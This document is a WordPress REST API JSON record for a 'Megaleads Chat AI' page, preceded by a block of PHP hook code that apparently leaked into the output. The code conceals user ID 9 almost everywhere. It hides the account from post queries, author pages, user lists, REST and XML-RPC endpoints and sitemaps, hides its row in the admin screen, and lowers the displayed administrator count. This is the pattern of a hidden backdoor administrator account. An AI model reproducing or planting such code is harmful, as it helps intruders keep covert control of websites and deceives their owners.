add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 9;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 9 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 9 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 9;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 9;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/9(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 9;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-9{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":3012,"date":"2024-09-11T13:07:39","date_gmt":"2024-09-11T17:07:39","guid":{"rendered":"https:\/\/megaleads.com\/blog\/?page_id=3012"},"modified":"2024-09-11T13:27:43","modified_gmt":"2024-09-11T17:27:43","slug":"chat","status":"publish","type":"page","link":"https:\/\/megaleads.com\/blog\/chat\/","title":{"rendered":"Megaleads Chat AI"},"content":{"rendered":"<div class='mwai-chatbot-container' data-params='{&quot;aiName&quot;:&quot;AI: &quot;,&quot;userName&quot;:&quot;User: &quot;,&quot;guestName&quot;:&quot;Guest:&quot;,&quot;textSend&quot;:&quot;Send&quot;,&quot;textClear&quot;:&quot;Clear&quot;,&quot;textInputPlaceholder&quot;:&quot;Type your message...&quot;,&quot;textInputMaxLength&quot;:512,&quot;textCompliance&quot;:&quot;&quot;,&quot;startSentence&quot;:&quot;Hi! How can I help you?&quot;,&quot;localMemory&quot;:1,&quot;themeId&quot;:&quot;chatgpt&quot;,&quot;window&quot;:&quot;&quot;,&quot;icon&quot;:&quot;&quot;,&quot;iconText&quot;:&quot;&quot;,&quot;iconTextDelay&quot;:1,&quot;iconAlt&quot;:&quot;AI Engine Chatbot&quot;,&quot;iconPosition&quot;:&quot;bottom-right&quot;,&quot;iconBubble&quot;:&quot;&quot;,&quot;fullscreen&quot;:&quot;&quot;,&quot;copyButton&quot;:&quot;&quot;}' data-system='{&quot;botId&quot;:&quot;chatbot-rmy58q&quot;,&quot;customId&quot;:null,&quot;userData&quot;:null,&quot;sessionId&quot;:&quot;N\\\/A&quot;,&quot;restNonce&quot;:null,&quot;contextId&quot;:3012,&quot;pluginUrl&quot;:&quot;https:\\\/\\\/megaleads.com\\\/blog\\\/wp-content\\\/plugins\\\/ai-engine-pro\\\/&quot;,&quot;restUrl&quot;:&quot;https:\\\/\\\/megaleads.com\\\/blog\\\/wp-json&quot;,&quot;stream&quot;:false,&quot;debugMode&quot;:false,&quot;speech_recognition&quot;:false,&quot;speech_synthesis&quot;:false,&quot;typewriter&quot;:false,&quot;virtual_keyboard_fix&quot;:false,&quot;actions&quot;:[],&quot;blocks&quot;:[],&quot;shortcuts&quot;:[]}' data-theme='{&quot;type&quot;:&quot;internal&quot;,&quot;name&quot;:&quot;ChatGPT&quot;,&quot;themeId&quot;:&quot;chatgpt&quot;,&quot;settings&quot;:[],&quot;style&quot;:&quot;&quot;}'><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"class_list":["post-3012","page","type-page","status-publish","hentry"],"_yoast_wpseo_opengraph-description":null,"_yoast_wpseo_focuskw":"Megaleads Chat AI","_yoast_wpseo_linkdex":"42","_yoast_wpseo_metadesc":"Discover the power of Megaleads Chat AI to improve customer engagement and enhance your marketing and lead generation strategies and tactics.","_yoast_wpseo_title":"Megaleads Chat AI","_yoast_wpseo_focuskeywords":"[]","yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.1 (Yoast SEO v27.1.1) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Megaleads Chat AI<\/title>\n<meta name=\"description\" content=\"Discover the power of Megaleads Chat AI to improve customer engagement and enhance your marketing and lead generation strategies and tactics.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/megaleads.com\/blog\/chat\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Megaleads Chat AI\" \/>\n<meta property=\"og:description\" content=\"Discover the power of Megaleads Chat AI to improve customer engagement and enhance your marketing and lead generation strategies and tactics.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/megaleads.com\/blog\/chat\/\" \/>\n<meta property=\"og:site_name\" content=\"MegaLeads Blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/Megaleads72\" \/>\n<meta property=\"article:modified_time\" content=\"2024-09-11T17:27:43+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2024\/10\/ML-Business-Lists-Store.png\" \/>\n\t<meta property=\"og:image:width\" content=\"602\" \/>\n\t<meta property=\"og:image:height\" content=\"457\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:site\" content=\"@megaleadsllc\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"1 minute\" \/>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Megaleads Chat AI","description":"Discover the power of Megaleads Chat AI to improve customer engagement and enhance your marketing and lead generation strategies and tactics.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/megaleads.com\/blog\/chat\/","og_locale":"en_US","og_type":"article","og_title":"Megaleads Chat AI","og_description":"Discover the power of Megaleads Chat AI to improve customer engagement and enhance your marketing and lead generation strategies and tactics.","og_url":"https:\/\/megaleads.com\/blog\/chat\/","og_site_name":"MegaLeads Blog","article_publisher":"https:\/\/www.facebook.com\/Megaleads72","article_modified_time":"2024-09-11T17:27:43+00:00","og_image":[{"width":602,"height":457,"url":"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2024\/10\/ML-Business-Lists-Store.png","type":"image\/png"}],"twitter_card":"summary_large_image","twitter_site":"@megaleadsllc","twitter_misc":{"Est. reading time":"1 minute"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":["Article","BlogPosting"],"@id":"https:\/\/megaleads.com\/blog\/chat\/#article","isPartOf":{"@id":"https:\/\/megaleads.com\/blog\/chat\/"},"author":{"name":"jim","@id":"https:\/\/megaleads.com\/blog\/#\/schema\/person\/760d9a8852cf5b528c10ddbb1766e9c9"},"headline":"Megaleads Chat AI","datePublished":"2024-09-11T17:07:39+00:00","dateModified":"2024-09-11T17:27:43+00:00","mainEntityOfPage":{"@id":"https:\/\/megaleads.com\/blog\/chat\/"},"wordCount":8,"publisher":{"@id":"https:\/\/megaleads.com\/blog\/#organization"},"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/megaleads.com\/blog\/chat\/","url":"https:\/\/megaleads.com\/blog\/chat\/","name":"Megaleads Chat AI","isPartOf":{"@id":"https:\/\/megaleads.com\/blog\/#website"},"datePublished":"2024-09-11T17:07:39+00:00","dateModified":"2024-09-11T17:27:43+00:00","description":"Discover the power of Megaleads Chat AI to improve customer engagement and enhance your marketing and lead generation strategies and tactics.","breadcrumb":{"@id":"https:\/\/megaleads.com\/blog\/chat\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/megaleads.com\/blog\/chat\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/megaleads.com\/blog\/chat\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/megaleads.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Megaleads Chat AI"}]},{"@type":"WebSite","@id":"https:\/\/megaleads.com\/blog\/#website","url":"https:\/\/megaleads.com\/blog\/","name":"MEGALEADS","description":"Outsell Your Competition with Business Leads and Mortgage Leads","publisher":{"@id":"https:\/\/megaleads.com\/blog\/#organization"},"alternateName":"MEGALEADS","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/megaleads.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/megaleads.com\/blog\/#organization","name":"MEGALEADS","alternateName":"MEGALEADS","url":"https:\/\/megaleads.com\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/megaleads.com\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2024\/03\/megaleads-Favicon-Revision-1.png","contentUrl":"https:\/\/megaleads.com\/blog\/wp-content\/uploads\/2024\/03\/megaleads-Favicon-Revision-1.png","width":512,"height":512,"caption":"MEGALEADS"},"image":{"@id":"https:\/\/megaleads.com\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/Megaleads72","https:\/\/x.com\/megaleadsllc","https:\/\/www.linkedin.com\/company\/mega-leads-llc\/"],"description":"Megaleads generates live transfers, real-time exclusive web leads, and opt-in leads across various verticals, including mortgage, insurance, B2B, and others. We also provide a turn-key system for building targeted B2B business email and phone lists in seconds, helping you reach more prospects, drive sales, and outsell the competition.","email":"info@megaleads.com","telephone":"877-579-2489","legalName":"MEGALEADS, LLC","numberOfEmployees":{"@type":"QuantitativeValue","minValue":"11","maxValue":"50"}},{"@type":"Person","@id":"https:\/\/megaleads.com\/blog\/#\/schema\/person\/760d9a8852cf5b528c10ddbb1766e9c9","name":"jim","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/megaleads.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/3638b9974b5cd1a994c96bcf734cc9b8e26e6621efdbd3989ea23ba77e31e828?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/3638b9974b5cd1a994c96bcf734cc9b8e26e6621efdbd3989ea23ba77e31e828?s=96&d=mm&r=g","caption":"jim"},"url":"https:\/\/megaleads.com\/blog\/author\/jim\/"}]}},"_links":{"self":[{"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/pages\/3012","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/comments?post=3012"}],"version-history":[{"count":2,"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/pages\/3012\/revisions"}],"predecessor-version":[{"id":3015,"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/pages\/3012\/revisions\/3015"}],"wp:attachment":[{"href":"https:\/\/megaleads.com\/blog\/wp-json\/wp\/v2\/media?parent=3012"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}